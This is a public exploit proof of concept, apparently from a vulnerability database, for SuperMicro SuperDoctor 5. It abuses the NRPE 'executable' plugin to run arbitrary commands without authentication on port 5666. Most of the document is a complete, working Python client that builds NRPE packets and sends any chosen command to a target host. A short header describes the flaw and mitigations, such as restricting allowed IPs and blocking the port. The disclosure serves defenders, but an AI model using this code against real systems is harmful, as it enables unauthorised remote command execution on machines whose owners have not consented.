# SuperMicro implemented a Remote Command Execution plugin in their implementation of
# NRPE in SuperDocter 5, which is their monitoring utility for SuperMicro chassis'.
# This is an intended feature but leaves the system open (by default) to unauthenticated
# remote command execution by abusing the 'executable' plugin with an NRPE client.
#
# For your pleasure, here is a PoC Python NRPE Client that will connect, execute the
# cmd of choice and return its output.
#
# To mitigate this vulnerbility, edit your agent.cfg to specificy which IPs are allowed
# to execute NRPE commands agaist the system and/or block traffic on port 5666.
#
# NRPE cannot be disabled in this software, see Guide section 3.2
#Author: Simon Gurney
#Date: 23/05/2019
#Vendor: SuperMicro
#Product: SuperMicro Super Doctor 5
#Version: 5
#Guide: ftp://supermicro.com/ISO_Extracted/CDR-C9_V1.00_for_Intel_C9_platform/SuperDoctor_V/Linux/SuperDoctor5_UserGuide.pdf
### Configurables
command = "ping 1.1.1.1 -n 1"
target = "1.2.3.4"
target_port = 5666
### Don't need to change anything below
import binascii
import struct
import socket
import ssl
#### Struct Encoding Types
StructCodeInt16 = "!h" ## Unsigned Int16
StructCodeInt32 = "!L" ## Unsigned Int32
#### NRPE Specific definitions
NRPE_Version = ("","One", "Two", "Three")
NRPE_Packet_Type = ("", "Query", "Response")
NRPE_Response = ("Ok", "Warning", "Critical", "Unknown")
NRPE_Version_1 = 1
NRPE_Version_2 = 2
NRPE_Version_3 = 3
NRPE_Packet_Type_Query = 1
NRPE_Packet_Type_Response = 2
NRPE_Response_Ok = 0
NRPE_Response_Warning = 1
NRPE_Response_Critical = 2
NRPE_Response_Unknown = 3
NRPE_Response_Type_Query = 3
#### RandomDefintions
NullByte = b"\x00"
TwoCharSuffix = "SG"
class NRPEpacket:
port = 5666
server = "127.0.0.1"
nrpeVersion = NRPE_Version_2
nrpePacketType = NRPE_Packet_Type_Query
nrpeResponseCode = NRPE_Response_Type_Query
ownSocket = None
def CalculateCRC(self):
tempBuffer = struct.pack(StructCodeInt16,self.nrpeVersion)
tempBuffer += struct.pack(StructCodeInt16,self.nrpePacketType)
tempBuffer += NullByte * 4
tempBuffer += struct.pack(StructCodeInt16,self.nrpeResponseCode)
tempBuffer += self.content
return (struct.pack(StructCodeInt32, binascii.crc32(tempBuffer) & 0xffffffff))
def PadTo1024Bytes(self,command):
if len(command) <= 1024:
tempBuffer = command
else:
Error("Command string is too long!")
while len(tempBuffer) < 1024:
tempBuffer += "\x00"
tempBuffer += TwoCharSuffix
return tempBuffer.encode()
def Connect(self):
self.socket = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
self.socket.connect((self.server,self.port))
def WrapSSL(self):
self.socket = ssl.wrap_socket(self.socket,cert_reqs=ssl.CERT_NONE, ssl_version=ssl.PROTOCOL_SSLv23, ciphers="ALL")
def Send(self):
tempBuffer = struct.pack(StructCodeInt16,self.nrpeVersion)
tempBuffer += struct.pack(StructCodeInt16,self.nrpePacketType)
tempBuffer += self.crc
tempBuffer += struct.pack(StructCodeInt16,self.nrpeResponseCode)
tempBuffer += self.content
self.socket.send(tempBuffer)
def Recv(self):
tempBuffer = self.socket.recv(2048)
self.nrpeVersion = struct.unpack(StructCodeInt16,tempBuffer[0:2])[0]
self.nrpePacketType = struct.unpack(StructCodeInt16,tempBuffer[2:4])[0]
self.crc = tempBuffer[4:8]
self.nrpeResponseCode = struct.unpack(StructCodeInt16,tempBuffer[8:10])[0]
self.content = tempBuffer[10:]
if self.crc != self.CalculateCRC():
print ("CRC does not match!")
def PrintOut(self):
print(" -=-=-=-= Begin NRPE Content =-=-=-=-")
print("| NRPE Version = %i - %s" % (self.nrpeVersion,NRPE_Version[self.nrpeVersion]))
print("| NRPE Packet Type = %i - %s" % (self.nrpePacketType,NRPE_Packet_Type[self.nrpePacketType]))
print("| NRPE Packet CRC = %i" % struct.unpack(StructCodeInt32,self.crc)[0])
print("| NRPE Response Code = %i - %s" % (self.nrpeResponseCode,NRPE_Response[self.nrpeResponseCode]))
print("| Packet Content:")
print("| %s" % self.content.decode().strip(TwoCharSuffix).strip("\x00"))
print(" -=-=-=-= End NRPE Content =-=-=-=-")
def Close(self):
if not self.ownSocket:
self.socket.close()
def AutoSend(self):
print("Sending...")
self.PrintOut()
self.Send()
print("Receiving...")
self.Recv()
self.PrintOut()
self.Close()
def __init__(self, command, socket=None, server=None, port = None, ssl=True):
self.content = self.PadTo1024Bytes(command)
self.crc = self.CalculateCRC()
if server:
self.server = server
if port:
self.port = port
if not socket:
self.Connect()
else:
self.socket = socket
self.ownSocket = True
if ssl == True:
self.WrapSSL()
#NRPE CMD format is "executable!<binary>!<arguments> i.e."
#NRPEpacket("executable!ping!1.1.1.1 -n 1", server="1.2.3.4").AutoSend()
split = command.split(" ",1)
cmd = "executable!" + split[0] + "!" + split[1]
NRPEpacket(cmd, server=target, port=target_port).AutoSend()
Data
Build on a solid foundation with Vulners data
We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data
Api
Power your application with Vulners API
The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access
App
Assess and manage vulnerabilities with Vulners tools
Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation